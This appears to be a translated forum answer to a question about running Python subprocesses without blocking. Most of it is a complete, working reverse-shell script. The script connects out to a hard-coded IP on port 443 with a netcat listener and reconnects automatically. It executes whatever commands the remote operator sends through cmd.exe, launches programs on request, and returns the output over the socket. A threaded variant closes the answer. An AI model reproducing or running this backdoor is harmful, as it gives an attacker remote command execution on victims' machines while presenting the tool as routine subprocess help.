How to add parallelism in execution with the subprocess module?

  

The code works but every time I run a program, for   example, c: \ windows \ notepad.exe, the prompt is stuck until I close the   program.

This happens due to the redirection that is done from the file descriptors of the process created for the parent process, which in this case is your script .

In the code below, the entry , out , and the error exit are redirected to #

subprocess.Popen(data, 
    shell=True, stdin = subprocess.PIPE, stdout= subprocess.PIPE, stderr= subprocess.PIPE)

To avoid this, do not redirect , so no identifier will be inherited by the child process.

You can do this in two ways:

See an example:

def executarPrograma(cmd):
    try:
        p = subprocess.Popen(cmd, shell=True, close_fds=True)
    except:
        pass

Note : The above function will attempt to execute whatever is passed as an argument, without interfering with the execution of script . For example, an executable, link , etc.

To execute a command on cmd.exe , use the subprocess.check_output function. :

def executarCMD(s, cmd):
    try:
        saida = subprocess.check_output(['cmd.exe', '/c ', cmd])
        print (saida)
    except:
        pass

In your code, you can do this:

# -*- coding: utf-8 -*-
import socket, subprocess, shlex
from time import sleep

# cliente netcat:  nc -lvp 443

conexao = ('192.168.1.33', 443)
timeout = 10

def conectar(conexao): 
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(conexao)
        return s
    except:
        return None

def enviarMensagem(s, msg):
    texto = "{}\n".format(msg).encode('utf-8')
    s.send(texto)

def escutar(s):
    try:
        while True:
            # O rstrip() é para eliminar a quebra de linha
            recebido = s.recv(1024).decode('utf-8').rstrip()

            if recebido:
                # Separa as informações recebidas
                informacoes = shlex.split(recebido)

                comando = informacoes[:1] # Pega o primeiro item
                args = informacoes[1:]    # Pega os itens do primeiro em diante

                # Verifica se o comando é "-e" ou "--exit"
                if any(opcao in ['-e', '--exit'] for opcao in comando):
                    print (" + Terminando conexão...")
                    s.close()
                    quit()

                # Verifica se  o comando é para executar um programa
                elif any(opcao in ['-r', '--run'] for opcao in comando):
                    print (" + Executando o programa {}".format(args))
                    executarPrograma(args)

                # Se as opções acima não forem satisfeitas, executa o
                # comando recebido no cmd.exe, ex.: dir, tasklist
                else:
                    print (" + Executando o comando {} no cmd.exe".format(recebido))
                    executarCMD(s, recebido)
    except:
        main(s)

def executarPrograma(cmd):
    try:
        p = subprocess.Popen(cmd, shell=True, close_fds=True)
    except:
        print(" - Não foi possível executar o programa: {}".format(cmd))
        #main(s)

def executarCMD(s, cmd):
    try:
        if len(cmd) >= 3:
            saida = subprocess.check_output(['cmd.exe', '/c ', cmd])

            # Envia a saída ao cliente
            s.send(saida)
    except:
        print(" - Erro ao executar executar comando: {}".format(cmd))

        # Envia a mensagem de erro ao cliente
        enviarMensagem(s, "Erro ao executar comando {}".format(cmd))
        #main(s)

def main(s):
    if s:
        s.close()

    while True:
        conectado = conectar(conexao)
        if conectado:
            enviarMensagem(conectado, "Conexao Estabelecida")
            print (" + Conexao Estabelecida")

            escutar(conectado)
        else:
            print(" - Erro na conexão. Escutando...")
            sleep(timeout)  
    return 0

s = None
main(s)

Once connected, to run a program simply type in the netcat terminal: --run <executavel> or -r <executavel> , for example: -r notepad .

To execute a command in cmd.exe , just type the command, for example: tasklist , dir , etc. To terminate the connection type: --exit or -e .

A hunch using thread :

import thread

def listen(s):
    try:
        while True:
            data = s.recv(1024) # a central de controle envia tb o "Enter" que teclamos apos cada comando {\n}
            #print(data)
            if data[:-1] == '/exit': #tudo exceto o ultimo caractere, que eh o \n
                s.close()#fechar conexao
                exit(0)  # 0 eh execucao normal/sem erros
            else: #executar os comandos
                try:
                    thread.start_new_thread(cmd, (s,data))
                except:
                    print "Não foi possível criar uma nova thread."
    except:
        main(s)